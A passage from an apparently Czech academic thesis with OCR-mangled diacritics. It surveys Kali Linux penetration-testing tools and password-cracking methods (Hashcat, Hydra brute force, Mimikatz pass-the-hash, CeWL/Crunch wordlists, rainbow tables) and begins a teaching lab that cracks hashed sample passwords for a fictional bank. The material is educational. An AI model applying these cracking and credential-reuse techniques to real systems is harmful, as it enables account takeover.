pripadé ma tester jen obecné znalosti o systému (napf. o aplikaci, hardwaru,
softwaru). Tyto informace jsou v8ak limitovany. Tester jiZ neznda napriklad verze
pouZivanych systéml nebo dokumentaci architektury interni sité. ,Gray box“ testy
jsou vétSinou provadény s limitovanym zamérenim na jeden dany cil. Napriklad
miiZe byt testertiv ukol otestovat segmentaci mezi doménou produkeni sité
a doménou, zpracovavajici platby kreditni kartou. Penetracni tester dostane
specifické informace o téchto dvou doménach (napf. bloky IP adres a propojenych
systémt). Cilem ,Gray box“ testii je validace zabezpeceni systémovych komponent

bez nutnosti odstavky systému (Johansen etal. 2016, s. 2).

5.3.3 Posuzovani zranitelnosti systému

V nékterych pripadech chtéji organizace pouze identifikovat zranitelna mista, ktera
existuji vjejich systémech bez toho, aniz by byly exploitovany. Posouzeni
zranitelnosti systému je SirSi analyza neZ u penetra¢niho testovani. Vysledkem je
report s nalezenymi zranitelnymi misty, které jsou razeny od nejvétSich hrozeb po
ty méné zavazné. Tento report je cileny na klienty, ktef jsou si védomi pritomnosti
chyb v zabezpecfenim svého systému a potirebuji dale identifikovat ty nejvétsi hrozby

a jejich zabezpeceni nasledné prioritizovat (Najera-Gutierrez a Ansari 2018).

5.3.4 Bezpecnostni audit

Bezpecnosti audit je systematicka procedura, ktera méri a reportuje stav systému

oproti preddefinované mnoZiné standardd. Témito standardy mohou byt napf.
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osvédcené postupy v daném oboru nebo pouze néjaky checklist vytvoreny danou

organizaci (Najera-Gutierrez a Ansari 2018).

5.4 Kali Linux a jeho nastroje

Po instalaci Kali Linuxu je nutné si vSimnout, Ze je designovany tak, aby byl pouZzivan
jednim uZivatelem. Samoziejmé je ale moZné vytvorit vicero uZivateld (napft. za
ucCelem penetracnich testli). Nicméné design sjednim root uZivatelem, tedy
uzivatelem s nejvy$$imi moZnymi opravnénimi, byl vytvoren ucelné. Systém neni
totiZ uzplisoben béZnym uZzivatelim. Kali Linux byl vytvoren tak, aby odpovidal
poZadavkd, které na néj kladou penetracni testefi a dalsi profesionalové. VétSina
nastrojli vyuZzivanych napft. pfi penetraCnich testech potifebuje ke spravnému
fungovani root opravnéni (Sinha 2018).

Jak jiz bylo zminéno, Kali Linux je opera¢ni systém, ktery je zaméfeny na
bezpecnosti audity a penetracni testy. Aby mohl tyto funkce vykonavat obsahuje
vice neZ 600 nastroji (Sinha 2018).

Sbhér informaci

Prvni kategorii, kterou lze v ramci nastroji systému Kali Linux pozorovat je
kategorie s nazvem Sbér informaci. Sbér informaci by mél byt prvnim krokem pted
zahdajenim penetracnich testii. V idealnim piipadé by mél kazdy penetracni tester
zahajit svoji praci sbérem dat a informaci. To vSak ¢asto vyZaduje velké usili
a trpélivost. Do podkategorii patii napt. DNS analyzy, DNS a host identifikace, IP
identifikaci a spoustu dalSich. Pro sbér dat jsou pouZivany nastroje DMitry, Faraday,
Ghost Phisher, Miranda, nbtstat nbtscan (umoZnuje vyhledavat ,host names“

a domény) a mnoho dalSich (Sinha 2018).

Analyza zranitelnosti systému

Druhou kategorii je Analyza zranitelnosti systému. Ta umoZiiuje otestovat, zda je
dany systém Ci napf. webova aplikace bezpecna. Tento test je moZné proveést opét
pomoci nastrojl Kali Linux. Podkategoriemi zde jsou ,Cisco tools*, ,fuzzing tools*,
»stress testing“ a dal$i. Hlavnimi nastroji této kategorie jsou: BBQSQL, cisco-

auditing-tool, cisco-torch, DBPwAudit, Nmap sqlsus atd (Sinha 2018).
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Bezdratové utoky
Dal8i kategorii predstavuji bezdratové utoky, do které patii viceucCelové nastroje,
které svymi utoky mifi na samotné klienty, misto aby atakovali pfistupové body,

jako napf. routery atd (Sinha 2018).

Webové aplikace

Webové aplikace je dalsi z kategorii, do které Ize radit nastroje systému Kali Linux.
Aby bylo moZné chranit webové aplikace, je nutné mit integrovanou sadu nastroj,
které testuji bezpecnost. K dosaZeni kompletniho testovaciho procesu webu, je
ob¢as nutné kombinovat rizné nastroje dohromady, coZ neni Zadny problém.
Analyza funguje tak, Ze je aplikace nejdrive zmapovana a je analyzovana struktura
utoku. Nasledné jsou nalezeny systémova nedostatky a slaba mista aplikace.
Nastroje, které patti do této kategorie jsou napf. Arachni, FunkLoad, jSQL Injection,

Nikto, sqlmap, WebSvarab a dal$i nastroje (Sinha 2018).

WPS
WPS (WiFi Protected Setup) nastroje se vyuZzivaji v pripadé, Ze je cilem testovani
najit heslové fraze. Heslova fraze je sekvence pismen ¢i slov, které jsou pouZity pro
autentizaci pristupu k danému systému. Na rozdil od hesla obsahuje heslova fraze
typicky delsi sekvenci znaki. Fraze pak chrani dané WPS. Aby bylo moZné vykonat
robustni utok proti WPS, je nutné pouZit vice rliznych nastroji. Takovému testovani
se Fika ,stress testing“. Tato kategorie tedy obsahuje mnoho nastrojti, které jsou
designované tak, aby mohly byt testovany na velkém rozmezi vSech mozZnych
pristupovych bodi a WPS implementaci. Jednim z hlavnich nastroji je Reaver,
jemuZ trva 4 az 10 hodin uhodnou spravny WPS pin a dostat zpét heslovou frazi.

Dal$imi dileZitymi nastroji jsou DHCPig, Inundator, ipv6-toolkit, Termineter atd

(Sinha 2018).

Exploitation

»Exploitation“ nastroje jsou dalSi kategorii. Tento typ nastroje se zaméfuje
piredevSim na webové prohliZzece. Webové ttoky proti klientlim jsou stdle vétSim

problémem. V takovych situacich je jedinym moZnym pristupovym bodem pro utok
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webovy prohlizec, takZe se prirozené stane terc¢em utoku. S védomim tohoto faktu
je nutné posilit prostor sité a stejné tak samotny klientsky systém. Uto&nici vyuZivaji
webovy prohliZe¢ k titoku na hlavni systém. Pfi navrhovani takovych nastroji je
tedy potfeba zohlednit moZnost Utokli na samotného Kklienta. Prikladem jsou

nastroje Armitage, BeFF, Metasploit a dalsi (Sinha 2018).

Forenzni nastroje
Forenzni nastroje jsou pouzivany v pripadech, kdy je pocita¢ napaden a v ramci
utoku dojde ke smazani diileZitych soubori. Diky témto nastrojiim je tedy moZné
soubory obnovit. NejbéZnéjSimi souborovymi systémy v Linuxovych distribucich
jsou ext3 a ext4. V téchto souborovych systémech existuje takzvany Zurnal. Zurnal
je obsaZen v tzv. Zurnalovacich souborovych systémech. Ty do Zurnalu zapisuji
zmény, které maji byt v systému provedeny. Zurnal byva obvykle cyklicky buffer,
jehoZ ucelem je chranit integritu dat. Forenzni nastroje jsou za pomoci Zurnalu

schopné obnovit smazana data. Patfi sem nastroje jako Binwalk, Capstone, Cuckoo,

Xplico atd (Sinha 2018).

Sniffing and Spoofing
»oniffing and Spoofing“ kategorie ma dvé hlavni podkategorie - ,Network sniffers
and spoofing“ a MITM (Man In The Middle) utoky. ,Sniffing“ je sbirani datovych
packetli, analyzovani provozu v siti a nasledné zasilani packetli na misto urceni.
Pomoci ,Sniffing” si mlZe tGto¢nik udélat predstavu o provozu v siti a nasledné
navazat,spoofing“ utokem.,Spoofing"“ znamen3, Ze se uto¢nik vydava za jiny pocitac
v plivodni siti a snazi se uZivatele presvédcit o své dlivéryhodnosti. Tim miiZe ziskat
napf-. citliva data atd. Nastroje patrici do této kategorie cili predevSim na slaba mista
v sitovych protokolech. Sitovych protokold je mnoho, ale stejné tak maji i mnoho
riznych slabin. Jak bylo zminéno, k odhaleni takovych slabych mist je nutné
sledovat provoz na siti. Penetracni testeri ¢asto vyuzivaji konfigurovatelnou DNS
»proxy“ k analyze sité. Tato kategorie obsahuje mnoho nastroji a kazdy funguje
jinak. Nékteré z nich provadi utoky na 2 vrstvach. V tomto pripadé je mnoho DNS
»proxy“ a ty smeéruji viechny DNS dotazy na jedinou IP adresu nebo implementuji

pouze zakladni filtraci. Tento typ ,proxy“ miiZe byt pouzit k odeslani nepravého
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dotazu na uto¢nikovu stranu misto na stranu realného hosta. Mezi tyto nastroje

patifi DNSChef, inviteflood, SniffJoke, WebScarab, Wireshark atd (Sinha 2018).

Utoky na heslo

Kategorii Utoky na heslo méiZeme rozdélit do &tyfech podkategorif: off-line titoky,
on-line utoky, hashovaci nastroje a profilovani hesla a slovnikovy utok. Nastroje
v této kategorii kombinuji nékolik prolamovacich zplisobli do jednoho programu.
Avsak jsou plné konfigurovatelné pro riizné speciadlni potieby. V nékterych
piipadech Ize pouZivat ty samé prolamovaci zplisoby vSude (napft. u typu ,Unix
crypt(3) hash“). DalSi nastroje jsou schopné sami detekovat o jaky typ ,hash” se
jedna. Nastroji této kategorie jsou BruteSpray, Crunch, HexorBase, RainbowCrack

atd (Sinha 2018).

Maintainign Access

Dal8i kategorii je takzvany ,Maintainign Access“. Jedna se o fazi penetracniho
testovani, kdy nastroje z této kategorie umoziuji penetralnimu testerovi se
zdrzovat v daném systému tak dlouho, dokud nedostane Uspésné ze systému ven
informaci, kterou povaZuje za cennou. Sem patfi CryptCat, HTTPTunnel,

PowerSploit, Webshells, a dal$i (Sinha 2018).

Reverzni inZenyrstvi

Reverzni inZenyrstvi je dalsi diileZitou kategorii, u které je zapotirebi znat funkce
».malware“ rodin. Nastroje v této kategorii umoZiuji vytvaret popisky rodin
»,malware* zaloZené na textovych ¢i binarnich paternech. Patfi sem apktool, OllyDbg,

YARA, MagicTree atd (Sinha 2018).

Hardwarové hackovani

Hardwarové ,hackovani“ je posledni kategorii, do které lze zaradit nastroje Kali

Linuxu. Sem patfi napt. apktool, Sakis3G, smali a dalsi (Sinha 2018).
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6 Nastroje uréené k testovani hesel v Kali Linux

Jak jiz bylo zminéno v kapitole 1.1.2, Kali Linux obsahuje nékolik kategorii,
do kterych lze zaradit nastroje pro testovani hesel.

Prvni kategorii jsou Off-line utoky. Jedna se o sadu nastrojti, které pracuji s off-line
stazenou kolekci hesel a snazi se vytvorit takovy retézec, ktery by se shodoval
s hodnotami ,,message“ a , digest” v dané kolekci.

Druha kategorie, tedy On-line utoky obsahuje nastroje, které uto¢i na zivy (on-line)
systém a snazi se ho prolomit. Hashovaci nastroje se snazi ziskat kontrolu nad
heslem tim, Ze se pokousi dosahnout stejného ,hashe®, jako je ten, na ktery utoci,
pomoci haSovacich nastrojli bez toho, aniZ by znali ptivodni heslo.

Posledni kategorii je Profilovani hesla a slovnikovy utok. Zde jsou obsaZené nastroje,
provadéjici slovnikové utoky. Ty jsou daleko ucCinnéjsi, nez ,brute force” utoky,

avsak je nutné mit ptristup k danym slovnikiim (Kavrestad 2020).

6.1 Hashcat

Nastroj Hashcat se nachazi ve standartni verzi systému Kali Linux nebo je moZné ho
samostatné doinstalovat pfimo ze stranek hashcat.net. Nastroj Hashcat funguje
pouze v reZimu off-line (snaZi se prolomit hash nebo seznam hashii uloZenych v PC
c textovém souboru). Nastroj pro operac¢ni systémy na bazi Linuxu je moZné spustit
pouze v prikazové radce (GUI mdd je dostupny pouze pro Windows). Vzhledem
k tomu, Ze nastroj Hashcat podporuje i akceleraci pomoci GPU, je nutné pro spravné
fungovani mit nainstalované potrebné drivery, které jsou zminéné na oficialnim
webu Hashcat.

Hashcat podporuje nékolik druhti atokii pro vice neZ 300 vysoce optimalizovanych
haSovacich algoritm{. Mezi druhy utoki patii pfimy ttok, kombina¢ni utok, dtok
hrubou silou a kombinace hybridniho slovniku s maskou a hybridni masky se
slovnikem ( hashcat | Kali Linux Tools [b.r.]).

Primy utok vezme jednodus$e list slov a zkou$i vSechny retézce v ném obsazené
oproti kazdému hashy. Toto je velmi efektivni metoda prvniho priichodu pfi hledan{
hesla. Je vSak nutné dobre zvolit slovnik, jako napriklad slovnik (napf. rockyou)

(hashcat_user_manual.pdf [b.r.]).
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Metoda kombinace vzdy vezme dva retézce ze slovniku a vyzkousSi je oproti danému
hashy. UZivatelé totiZ Casto pouZzivaji kombinaci naptiklad jména a prijmeni jako
retézec hesla (hashcat_user_manual.pdf [b.r.]).

Maska je tvotfena zplisobem, Ze za kazdy znak v hesle, ktery chceme prolomit musi
byt dosazen jeden placeholder. Jako placeholder je moZné vloZit vlastni proménnou
znakové sady, vestavénou prommeénou znakové sady ¢i statické pismeno. Proménna
je znazornéna pomoci ? a nasledujictho pismena. Pro vestavéné proménné jsou to
znaky (1, u, d, s, a) a pro vlastni proménné jsou to Cisla od 1 do 4. Vestavéné

proménné:

e 7] =abcdefghijklmnopqrstuvwxyz,

e ?u=ABCDEFGHIJKLMNOPQRSTUVWXYZ,

e 7d=0123456789,

e ?h=0123456789abcdef,

e ?H=0123456789ABCDEF,

o 75 =«space»!"#$%&'()*+,-./5<=>2@[\]"_{|}~,
e ?a=71?7u?d?s,

e ?b=0x00 - Oxff (mask_attack [b.r.]).

Hashcat ocekava slovnik ve formatu ,,.txt“, kdy se na kazdém radku nachazi nové
slovo. Vysledkem je tedy soubor ,hashcat.potfile“, do kterého jsou ukladany veSkeré

vysledky ve formatu ,hash:prolomeny retézec” (Kavrestad 2020).

6.2 On-line prolamovani hesel za pomoci nastroje Hydra

Nastroj Hydra je obsaZen ve standartni verzi systému Kali Linux nebo je moZné ho

samostatné doinstalovat pfimo z GiT repozitare na strance github.com /vanhauser-

thc/thc-hydra. Nastroj funguje po siti a je tak moZné pomoci néj zacilit utok

napriklad na router ¢i na jiny pocitac v siti.
Nastroj Hydra lze spustit v CLI, zaroven ale oproti nastroji Hashcat je moZné ho

spustit i v GUI mdédu na zarizenich s opera¢nim systémem na bazi Linux. Je nutné
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zdliraznit, Ze nastroj operuje pouze v IPv4 reZimu. Chceme-li pracovat s IPv6, je
nutné pridat do prikazu v CLI ,-6“ (van Hauser Heuse 2021).

Pro zadani prikazu v CLI je nutné zadat nasledujici parametry. Prvni parametr
definuje cil, na ktery bude nastroj utocit. Je moZné zadat jeden cil pomoci IP nebo
DNS zaznamu. Rozsah [P miiZe byt zadan ve formatu "192.168.0.0 /24" nebo pomoci
listu hostli v textovém souboru. Druhy parametr definuje protokol (ftp, smtp
a dalsi). Dale je nutné zkontrolovat, zda ma modul néjaka dal$i mozna nastaveni
(pomoci naptiklad hydra -U smtp). Poslednim parametrem je cilovy port, na ktery je
utok cilen (hydra | Kali Linux Tools [b.r.]).

Hydra uto¢i tak, Ze za pomoci ,brute force” utoku se snazi spojit udaje loginu a hesla
tak, aby odpovidali udajiim zatizeni, na které utok miti. Hrubou silou se snaZi nastroj
prolomit heslo za pomoci pfedem vytvorenych slovniki. Jeden slovnik je pro ,login“
a druhy pro heslo (miiZe byt i jeden obecny slovnik pro oba udaje) (Jahankhani et al.
2021).

Pokud byla nalezena shoda udaji, je do ,,console” vypsan ,login“ a heslo, které bylo
nalezeno (je mozné vypsat i do formatu text, jsonv1l ¢i json). Dale uZ se staci jen
pomoci ,ssh“ pripojit k danému zarizeni, zadat prihlaSovaci udaje a v tu chvili ma

uto¢nik plnou kontrolu nad zarizenim (Jahankhani et al. 2021).

6.3 Pass the Hash nastroj Mimikatz

Nastroj Mimikatz je dal$im ze zakladnich nastroji, které jsou predinstalované
v systému Kali linux. Funguje vSak pouze v prikazové radce.

Nastroj je nutné pouZzivat v kombinaci s nastrojem umoZziujicim vzdalené pripojeni
k ostatnim zafizenim v dané siti (napr. Metasploit). Je tedy nutné nejdiive navazat
spojeni s pocitacem ve stejné siti. Dal$i podminkou je, aby pocitac, na ktery je cilen
utok, obsahoval systém Windows (Mimikatz je konstruovan na exploitaci hesla
pouze na opera¢nim systému Windows) (mimikatz | Kali Linux Tools [b.r.]).

Nastroj Mimikatz vyuZziva naptiklad utok ,Pass the Hash“ ktery funguje tak, Ze
pokud uto¢nik ziska pristup k jednomu uctu v organizaci, neni pro néj problém
ziskatiprava Administratora. Ziskanim prava Administratora ziska utoc¢nik nejvyssi

prava k firemnimu systému, kde miize dale pachat Skody. Pokud se totiZ do
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napadeného pocitate nékdy v minulosti prihlasil Admin (napf. za ulelem
nainstalovani néjakého programu), je jeho heslo uloZeno v systémové paméti
pomoci ,NTLM hashe“. Nastroj Mimikatz m4, mimo jinych funkci, i funkci , Pass-the-
hash“. Pomoci tohoto nastroje je moZné vypsat do logu vSechna hesla uloZena
v daném pocitaci. Ty jsou sice uloZzena pomoci ,hashe®, ale to pro uto¢nika neni
zadna prekazka. Stac¢i aby v logu hesel naSel administratorské udaje a nasledné je
pomoci funkce ,sekurlsa:pth“ vnastroji Mimikatz pouZije jako prihlaseni

do systému s admin pravy (Jadeja a Vaghasia 2018).

6.4 Metasploit

Zakladni verze systému Kali Linux obsahuje i velice komplexni nastroj Metasploit.
V zakladu obsahuje Metasploit velké mnoZstvi riznych nastrojii pro penetrac¢ni
testovani. Vzhledem k tomu, Ze se jedna o open-source framework, je mozné, aby
uzivatelé neustale vyvijeli nové moduly, které 1ze nasledné jednoduSe doinstalovat
(Metasploit | Penetration Testing Software [b.r.]).

Pomoci riiznych néstrojt frameworku Metasploit je moZné po siti zjistit slaba mista
systémt, exploitovani systémul a obecné penetracné testovat dané systémy. Nastroj
je moZné spustit v riznych mdédech (Kennedy etal. 2011).

Prvnim z nich je MSFconsole. MSFconsole je interface podobna prikazové radce
a patfi mezi nejpopularnéjsi ¢asti frameworku Metasploit. Pomoci MSFconsole je
moZné spoustét jednotlivé exploity, nacitat podpiirné moduly, vytvaret listenery
nebo spoustét exploitaci celych siti (Kennedy etal. 2011).

ktera uZzivateli poskytuje interaktivni pristup, se MSFcli soustiedi na skriptovani
a interoperabilitu s ostatnimi Cisté konzolovymi nastroji. Tento mod je velice
vhodny v pripadé, Ze je cilem provést presné jeden konkrétni typ exploatace
(Kennedy etal. 2011).

Tretim mdédem je Armitage. Vtomto modu je uZivateli nabidnut framework
Metasploit, ktery je cely implementovan v GUI rozhrani (Kennedy etal. 2011).
Obecné je nastroj velice komplexni, coZ je dlivod, pro¢ je tak obliben mezi
penetracnimi testery. V této praci je vSak pouzit jen jako pomocny nastroj pro

postup exploatace hesla riiznymi zptisoby (napf. kapitola Mimikatz).
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6.5 Password Profiling & Wordlist nastroje CeWL a Crunch

Dal$imi z dileZitych nastrojii obsaZenych v opera¢nim systému Kali Linux jsou
CeWL a Crunch. Jsou zminény spolecnég, protoZe je velice vhodné tyto dva nastroje
kombinovat pfi tvorbé vlastnich slovnikii, které je moZné nasledné vyuZivat
k prolamovani hesel (Svensson 2016).

Nastroj CeWL funguje online a je spoustén z piikazové radky. Cilem miZe byt
konkrétni webova stranka, ze které bude staZeno co nejvice informaci (Wood 2023).
Custom Word List Generator (CeWL) je nastroj, ktery umoZzni uto¢nikovi stahnout
celé télo webové stranky avyselektovat znéj jednotliva slova, ktera uloZi
do slovnikového listu. CeWL m4a rizna nastaveni a omezeni (napi. v selekci slov,
frazi ¢i ¢asti kodu téla webové stranky). Naptiklad miliZe z webu vybrat pouze
emailové adresy, které dale rozdéli na jednotliva slova (Svensson 2016).

Nastroj Crunch je pak offline nastroj, ktery dokaZe vygenerovat ¢i modifikovat jiz
existujici seznamy slov. Tento nastroj je také spoustén pouze v médu CLI (crunch |
Kali Linux Tools [b.r.]).

Crunch dokaZe pomoci parametri k danym sloviim generovat naptiklad retézce
Cisel i pismen. Ziskame-li z nastroje CeWL ziskame slovo John, pomoci Crunch jsme
schopni k nému generovat napriklad ¢isla 01, 02, ..., XX. Tim padem ziskame napf.
Fetézec John21, coZ miiZe byt napiiklad heslo, které nékdo pouZziva ke své emailové

adrese (Svensson 2016).

6.6 John the Ripper

Kali Linux obsahuje ve svém zdakladu i jeden znejzndméjSich nastroji urcenych
k prolamovani hesel a tim je John. Nastroj funguje off-line. Jeho snahou je prolomit
hesla obsaZena ve vybraném textovém souboru. Nastroj nema GUI a je s nim mozZné
pracovat pouze pomoci prikazové radky. Je vSak dostupna i GUI verze s nazvem
Johny. Johny je vSak separatni program, ktery je nutné k nastroji John the Rippper
doinstalovat (Anon. 2023a).

Dostupna je také komunitni verze ,jumbo® kterd je rozSifena o nové funkce
a podporuje vice hashovacich algoritmii. Na to, aby uZivatelé piidali nové ¢asti kddu,
jsou vSak velice nizké pozadavky a pridani kddu je aZ priliS jednoduché. To znamena,

Ze se v kddu verze ,jumbo“ mohou vyskytovat chyby (Anon. 2023a).
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John the Ripper je nastroj na prolamovani hesel. Ma svoje vlastni optimalizované
moduly pro rtizné typy ,hash“ a procesorové architektury. Patfi sem i ,hash“
pouzivany ve Windows s nazvem NTLM, ktery je postaven na MD4 protokolu. Dale
Mac OS X 10.4-10.6 SHA1 se soli a mnohem vice. Hlavni vyhodou nastroje John the
Ripper je, Ze je bohaty na funkce, rychly a dostupny na nékolika platformach. Dalsi
plus je, Ze na rozdil od nastroje Hashcat je John the Ripper schopny sam rozpoznat
o jaky typ ,hashe” se jedna a neni tak potreba ho predem definovat. Kombinace
nékolika riiznych prolamovacich médi z néj déla zcela bezkonkuren¢ni nastroj na

prolamovani hesel (Sinha 2018).

6.7 RainbowCrack

RainbowCrack je dalsi z fady nastrojli systému Kali Linux, ktery je obsaZen v jeho
zakladni verzi. Tento nastroj funguje off-line na platformach Windows a Linux.
Nastroj obsahuje grafické uzivatelské rozhrani, ale také je moZzné s nim pracovat
pouze pomoci piikazového radku. Je mozné, aby rainbowcrack bézel v médu GPU
akcelerace. V takovém pripadé je ale klicové, aby byly nainstalované spravné
ovladace pro GPU. Je podporovana i akcelerace nékolika grafickymi kartami zaroven
(RainbowCrack Documentation [b.r.]).

RainbowCrack pouziva specialni typ algoritmu Casové paméti (tzv. ,trade-off”)
k prolamovani ,hashii“. Prvnim krokem je vytvoreni ,Rainbow table“. Nasledné pak
za pomoci zrychleného ,trade-offu” casové paméti dochazi k prolamovanti , hashe“.
Vyhodou je, Ze pokud je znamo, na jaké zarizeni ma utok mirit, 1ze podle dané
skutelnosti upravit ,Rainbow table“. Vime-li, Ze pocitac, na ktery se chysta utok ma
operacni systém Windows, je moZné tabulku zuzit na hashovaci protokol Windows
NTLM. Bézné pri ,brute force utocich prolamovaci algoritmus ,hashe“ generuje
vSechny mozné retézce textu a nasledné z nich dopocitava korespondujici ,hashe®.
Vjednu chvili je porovnavana hodnota ,hashe“ s hodnotou ,hashe®, ktery ma byt
prolomen. Pokud dojde ke shodé ,hashii“, je tedy nalezen i prosty text daného hesla.
V ,trade-off“ algoritmu vSak nezacina vypocet prolamovani okamzité. Je potreba tzv.
predvypocetni faze. V této fazi se ukladaji ,hashe“ do ,Rainbow table“. Tento proces

je naro¢ny a zdlouhavy, ale ve chvili, kdyZ dojde k ukonceni predvypocetni faze
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a vSechny ,hashe” jsou uloZené v tabulce, bézi algoritmus 1épe neZ jakakoliv ,brute

force“ technika (Sinha 2018).
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7 Prakticka ¢ast — tvorba labu

Hlavnim cilem prace je vytvorit sadu lab{i, kterda bude zaméfrena na prolamovani
hesel za pomoci nastroji v Kali Linux. Kazdy z labi bude zaméfen na jeden
specificky nastroj. Prvnim bodem v kazdém labu budou informace o cili, ¢asové
narocnosti a pouZzitych nastrojich. Poté bude nasledovat kratké seznameni
s funkcionalitami danych nastrojii. Nasledné bude popsan postup reSeni daného
labu, ktery bude prokladan jednoduchymi otazkami na aktualné reSené téma.
Posledni ¢asti labu bude okomentovany vysledek a arch s feSenim, ve kterém budou
zodpovézeny pribéZné otdzky spoletné se seznamem shrnujicim postup feSeni.
Tyto materialy by v budoucnu mohly slouzit napfiklad jako vyukové materialy

v oblasti operacnich systémi.

7.1 Spoleéné poZadavky

Nejdrive je nutné definovat programy a dalSi potirebné véci, které budou potiebné
k nasledné praci.

Prvnim krokem je nainstalovani nékterého z virtualiza¢nich nastrojt. Na vybér je
napf. VirtualBox, VMware, HYPER-V nebo QEMU. V naSem pripadé bude zvolen
VirtualBox, protoZe je to multiplatformni virtualizacni nastroj, ktery je dostupny jak
pro Linux/Unix, tak pro Windows ¢i Mac OS. Dalsi jeho vyhodou je uZzivatelska
privétivost a prehlednost.VirtualBox je tedy moZné stahnout na odkazu

www.virtualbox.org/wiki/Downloads.

Dal8im krokem je nainstalovani Kali Linuxu do virtualiza¢niho programu. Je mozné
bud’ stahnout ISO soubor a nasledné provést instalaci, nebo 1épe stahnout

piimo z webu Kali jiZ predpripraveny image (dostupny na adrese www.kali.org/get-

kali/#kali-virtual-machines), ktery je nutné pouze rozbalit ze zazipované knihovny

a nasledné ho spustit. VirtualBox sam provede instalaci a pridani virtualniho
pocitaCe. V nastaveni virtualnitho pocitaCe je pak mozZné napf. upravit velikost
paméti RAM nebo pocet vlaken procesoru dostupnych pro danou virtualni instalaci.

Hodnoty téch parametrl vychazeji ze specifikaci reSitelova pocitaci.
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V pripadé, Ze je uspéSné zainstalovan virtualni pocitac a jsou prirazeny dostatetné
hodnoty paméti RAM a dal$ich komponent, je moZné virtualni stroj spustit. Zadanim
prihlasovacich udaji kali (pro login i heslo) se resSitel dostane na domovskou
obrazovku systému Kali Linux. Zakladni nastaveni je tedy timto hotové a nyni je

moZné zacit s FeSenim jednotlivych problémi v labech.

dvee = O *

.t B

Movy  Pidat Mastaveni

El obecné

kali-linux-2023.2-
Ibox-amd64

Operadni pamét: 8192MB =

4MB

Obrazek 1 Ukazka nastaveni v programu VirtualBox.
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7.2 Lab é. 1- Utok pomoci ndstroje Hashcat

Nasledujici lab je zaméfen na pouZiti nékolika vestavénych nastrojii operacniho
systému Kali Linux. Pokud jsou splnény veSkeré kroky z kapitoly Spoletné
pozadavky, jsou nastroje pouZzité v tomto labu jiz predinstalované ve virtualnim
pocitaci.

Potfebné nastroje:

. CeWL
o Crunch
o Hashcat

Dal8i potrebné atributy:
. Soubor se zahaSovanymi hesly, ktera byla ziskana pomoci napft. prolomeni
databaze ¢i nastroje Mimikatz (pomoci utoku Pass the Hash)

Casova narocnost: 30 az 40 minut.

Cil ulohy
Cilem tohoto labu je seznamit reSitele s nastroji CeWL a Crunch, pomoci kterych si
vytvorivlastni slovnik. Ten nasledné aplikuje pti prolamovani hesel pomoci nastroje
Hashcat. Na zavér reSitel interpretuje vysledek (zda se mu hesla podarila prolomit

¢i nikoliv).

Seznameni s nastroji

Prvnim nastrojem je CeWL. Tento nastroj slouzi k analyze webové stranky, kdy je
preddana URL a parametry, podle kterych se ma obsah webu filtrovat. CeWL
analyzuje text na webové strance a je schopny vybrat napf. jména a prijmeni osob
zminénych na strankach, jejich datumy narozeni, e-mailové adresy, telefonni ¢isla
a dalSi informace, které mohou byt nasledné pouzity pti prolamovani hesla. Pomoci
tohoto nastroje je mozné vytvorit zakladni slovnik.

Jakmile je vytvoren slovnik s udaji z dané webové stranky, je mozné ho nasledné
modifikovat. K tomu slouZi nastroj Crunch. Tento nastroj dokaze vytvorit zcela novy
slovnik ¢i modifikovat jiZ existujici. Pomoci zadanych parametri miiZe napft. za slova

jiz existujiciho slovniku prigenerovat rtizné kombinace znaki a ¢islic.
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Poslednim nastrojem pouzity v tomto labu je nastroj Hashcat. Jeho funkce je pro cely
postup klicova. Pomoci tohoto nastroje a predem vytvoreného slovniku probiha
pravé prolamovani hesla. Vystupem z tohoto nastroje je informace o tom, kolik hesel

z daného souboru bylo prolomeno a o jaka hesla se jedna.

Fiktivni use case

Ve firmé s ndzvem “bankaXY” byla prolomena databaze s hesly. Udaje byly staZeny
v textové podobé a vystupem pro penetrac¢niho testera byla jiZ pouze vybrana hesla
v textovém souboru. Hesla jsou vSak zahaSovana, takZe v takové podobé neni moZzné
hesla pouit. Ukolem testera je prolomit co nejvice zaha$ovanych Fetézcli za pomoci
informaci z webové stranky firmy. Cilem je tedy pouZit vhodné nastroje systému Kali
Linux a pomoci nich vytvorit a modifikovat vlastni slovnik, ktery bude nasledné
pouzit v kombinaci s jiZ existujicim slovnikem rockyou k prolamovani hesel.

K samotnému prolamovani bude vyuzit nastroj Hashcat.

Spusténi fiktivni webové stranky
Aby bylo moZné pouzit nastroj CeWL, je nutné nejprve vytvorit fiktivnhi webovou
stranku, se kterou bude nastroj CeWl interagovat. SpuSténi serveru je velice
jednoduché, v systému Kali Linux je predinstalovan server apache2, ten je mozny
spustit po zadani prikazu service apacheZ start. Dale je nutné zkontrolovat IP adresu
pocitaCe, protoZe to bude IP adresa, na které je spustén server. IP adresu lze zjistit
po zadani prikazu ip address show. Nasledné je moZné si z odkazu stahnout soubor
s webovou strankou z odkazu zde (viz GitHub repozitaf > Lab c. 1 > web.html)
a vlozit ho napriklad na plochu. Z plochy je nutné tento soubor zkopirovat do
serverové slozky, to je mozné provést pomoci nasledujictho prikazu sudo cp
Desktop/web.html  /var/www/html/. Po GspéSném prekopirovani staci
zkontrolovat, zda je stranka dostupna, to lze zjistit po zadani URL adresy do
prohliZece ve stvaru IP adresa/web.html. V tomto piipadé je to 10.0.2.15/web.html

(tato adresa bude zmiiniovana dale v uloze).

Testovaci soubor s hesly

Testovaci soubor s hesly je v této uloze uméle vytvoren. Hesla jsou zahaSovana

pomoci hasovaciho algoritmu SHA-256. Do seznamil hesel jsou umyslné zarazeny
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rizné obtiZzné retézce. Diky rizné sloZitosti bude tak moZné otestovat, jak ti¢inné
jsou jednotlivé kroky pii prolamovani hesla (predevsim jak dleZita je tvorba
slovniki). Testovaci retézce tedy budou obsahovat kratka hesla (napf. “qwerty”),
ktera jsou snadno prolomitelné a také se velice ¢asto vyskytuji v riznych databazich
prolomenych hesel (napft. rockyou), ale i hesla tvofend mnemonickym zptisobem,
ktera by méla byt naopak velice silnd a pri délce 10-12 znakl v podstaté
neprolomitelna.

Hesla obsaZena v testovacim souboru (nezahaSovana):

. qwerty,

o test1234,

o Bezpecnal987,

o Kbezpecnal1987,

o a_z@bezp3ceny,

. PHzPKL_dp-2023,

. ucetnil234.

VySe jsou uvedena hesla, kterd by mohla byt pouZita pro piistup k a¢tlim napiiklad
ve fiktivni firmé s nazvem “banka XY”. Vytvoreny soubor s hesly se jmenuje
“hashes_to_crack.txt” a nachazi se zde (viz GitHub repozitat > Lab c. 1 >
hashes_to_crack.txt).

HaSovani souboru shesly milize byt provedeno napfiklad pomoci nékterého
z dostupnych on-line nastrojli, pomoci kterého bude kazdy retézec zvlast vloZen
